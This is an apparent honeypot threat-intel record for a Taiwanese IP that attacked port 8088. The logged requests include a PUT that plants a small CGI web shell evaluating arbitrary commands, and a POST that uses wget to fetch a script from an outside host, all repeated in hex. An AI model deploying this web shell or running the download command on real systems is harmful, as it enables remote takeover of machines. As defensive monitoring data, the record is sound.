{"ip":"1.34.2.110","total_events":34,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 exploit-path hits","confidence":"high","network_type":"residential ISP","why":["1 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","Under 5 hits, so confidence is medium.","Not in any known-scanner range.","Sent 12,454 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"12,454 bytes sent","bytes_sent":12454,"session_seconds":3,"persistent":false}},"first_seen":"2026-08-25T11:32:35","last_seen":"2026-09-02T23:15:28","events_24h":0,"events_7d":0,"geo":{"country_code":"TW","country_name":"Taiwan","region":"New Taipei City","city":"New Taipei City","lat":25.0693,"lon":121.4626,"asn":3462,"org":"Data Communication Business Group"},"source_domain":"1-34-2-110.hinet-ip.hinet.net","known_scanners":[],"scanner_tag":{"key":"peeringdb:as3462","label":"HiNet","category":"isp","url":"https://www.peeringdb.com/asn/3462"},"cve_matches":[],"malware":[],"top_ports":[{"port":8088,"proto":"tcp","label":"Hadoop","count":28},{"port":8085,"proto":"tcp","label":"","count":6}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[]},"fingerprint_peers":{},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-08-25","count":6},{"date":"2026-09-02","count":28}],"recent_events":[{"timestamp":"2026-09-02T23:15:28","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"ce2b0741-5a85-4dcc-a391-8f995d3372b4","seq":2,"duration_ms":1183,"bytes_in":457,"bytes_out":150},{"timestamp":"2026-09-02T23:15:27","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"ce2b0741-5a85-4dcc-a391-8f995d3372b4","seq":1,"duration_ms":100,"bytes_in":217,"bytes_out":75},{"timestamp":"2026-09-02T23:14:55","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"c25cf676-3fd3-4a5b-b0d1-5381baae9404","seq":2,"duration_ms":1269,"bytes_in":457,"bytes_out":150},{"timestamp":"2026-09-02T23:14:54","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"c25cf676-3fd3-4a5b-b0d1-5381baae9404","seq":1,"duration_ms":100,"bytes_in":217,"bytes_out":75},{"timestamp":"2026-09-02T23:14:22","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"54b660d9-f23d-4d57-85f3-9ea68be185f3","seq":2,"duration_ms":1876,"bytes_in":457,"bytes_out":150},{"timestamp":"2026-09-02T23:14:20","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"54b660d9-f23d-4d57-85f3-9ea68be185f3","seq":1,"duration_ms":100,"bytes_in":217,"bytes_out":75},{"timestamp":"2026-09-02T23:13:49","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"14855b04-eb99-4b4d-8c81-1052c6a33418","seq":2,"duration_ms":1165,"bytes_in":457,"bytes_out":150},{"timestamp":"2026-09-02T23:13:48","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"14855b04-eb99-4b4d-8c81-1052c6a33418","seq":1,"duration_ms":100,"bytes_in":217,"bytes_out":75},{"timestamp":"2026-09-02T23:13:16","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"3e42ec3b-1350-4697-84e9-cc6228bf518d","seq":2,"duration_ms":2014,"bytes_in":457,"bytes_out":150},{"timestamp":"2026-09-02T23:13:14","port":8088,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8088\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038380d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"3e42ec3b-1350-4697-84e9-cc6228bf518d","seq":1,"duration_ms":100,"bytes_in":217,"bytes_out":75}],"http_methods":[{"method":"POST","count":20},{"method":"PUT","count":14}],"distinct_ports_total":2,"top_paths":[{"path":"/cgi-bin/bip.cgi","count":28,"ports":1},{"path":"/action/setDebugCfg/.txt","count":6,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Connection","Content-Length","Content-Type","Host"],"representative":[{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"109","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:8088","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-09-23T04:34:43.443462+00:00"}